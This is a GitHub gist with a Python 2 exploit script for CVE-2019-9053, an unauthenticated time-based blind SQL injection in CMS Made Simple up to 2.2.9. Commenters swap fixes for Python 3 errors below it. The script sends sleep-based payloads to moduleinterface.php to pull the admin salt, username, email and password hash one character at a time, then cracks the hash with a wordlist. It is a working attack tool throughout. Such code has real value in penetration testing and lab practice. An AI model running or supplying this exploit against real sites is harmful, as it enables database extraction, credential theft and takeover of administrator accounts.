-
-
Save pdelteil/6ebac2290a6fb33eea1af194485a22b1 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python | |
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 | |
# Date: 30-03-2019 | |
# Exploit Author: Daniele Scanu @ Certimeter Group | |
# Vendor Homepage: https://www.cmsmadesimple.org/ | |
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ | |
# Version: <= 2.2.9 | |
# Tested on: Ubuntu 18.04 LTS | |
# CVE : CVE-2019-9053 | |
import requests | |
from termcolor import colored | |
import time | |
from termcolor import cprint | |
import optparse | |
import hashlib | |
parser = optparse.OptionParser() | |
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") | |
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") | |
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) | |
options, args = parser.parse_args() | |
if not options.url: | |
print "[+] Specify an url target" | |
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" | |
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" | |
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." | |
exit() | |
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' | |
session = requests.Session() | |
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' | |
flag = True | |
password = "" | |
temp_password = "" | |
TIME = 2 | |
db_name = "" | |
output = "" | |
email = "" | |
delay=0.5 | |
salt = '' | |
wordlist = "" | |
if options.wordlist: | |
wordlist += options.wordlist | |
def crack_password(): | |
global password | |
global output | |
global wordlist | |
global salt | |
dict = open(wordlist) | |
for line in dict.readlines(): | |
line = line.replace("\n", "") | |
beautify_print_try(line) | |
if hashlib.md5(str(salt) + line).hexdigest() == password: | |
output += "\n[+] Password cracked: " + line | |
break | |
dict.close() | |
def beautify_print_try(value): | |
global output | |
print "\033c" | |
cprint(output,'green', attrs=['bold']) | |
cprint('[*] Try: ' + value, 'red', attrs=['bold']) | |
def beautify_print(): | |
global output | |
print "\033c" | |
cprint(output,'green', attrs=['bold']) | |
def dump_salt(): | |
global flag | |
global salt | |
global output | |
ord_salt = "" | |
ord_salt_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_salt = salt + dictionary[i] | |
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_salt) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
salt = temp_salt | |
ord_salt = ord_salt_temp | |
flag = True | |
output += '\n[+] Salt for password found: ' + salt | |
def dump_password(): | |
global flag | |
global password | |
global output | |
ord_password = "" | |
ord_password_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_password = password + dictionary[i] | |
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_password) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" | |
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
password = temp_password | |
ord_password = ord_password_temp | |
flag = True | |
output += '\n[+] Password found: ' + password | |
def dump_username(): | |
global flag | |
global db_name | |
global output | |
ord_db_name = "" | |
ord_db_name_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_db_name = db_name + dictionary[i] | |
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_db_name) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
db_name = temp_db_name | |
ord_db_name = ord_db_name_temp | |
output += '\n[+] Username found: ' + db_name | |
flag = True | |
def dump_email(): | |
global flag | |
global email | |
global output | |
ord_email = "" | |
ord_email_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_email = email + dictionary[i] | |
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_email) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
email = temp_email | |
ord_email = ord_email_temp | |
output += '\n[+] Email found: ' + email | |
flag = True | |
dump_salt() | |
dump_username() | |
dump_email() | |
dump_password() | |
if options.cracking: | |
print colored("[*] Now try to crack password") | |
crack_password() | |
An error occured: if hashlib.md5(str(salt) + line).hexdigest() == password: TypeError: Unicode-objects must be encoded before hashing
same problem
You need to encode the variable line.
Change
if hashlib.md5(str(salt) + line).hexdigest() == password
to
if hashlib.md5(str(salt) + line.encode('utf-8')).hexdigest() == password
Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)
i got stuck and this what i did @@
sudo cp /usr/lib/python3/dist-packages/termcolor.py /usr/lib/python2.7/dist-packages/
it worked, lol
Thats works, thank you
This was a good explanation of the exploit, nice work!!
This was very helpful. I'm trying to learn Python myself and sometimes it gets so confusing. This really helped to clear things up. Thank you.
An error occured:
if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Unicode-objects must be encoded before hashing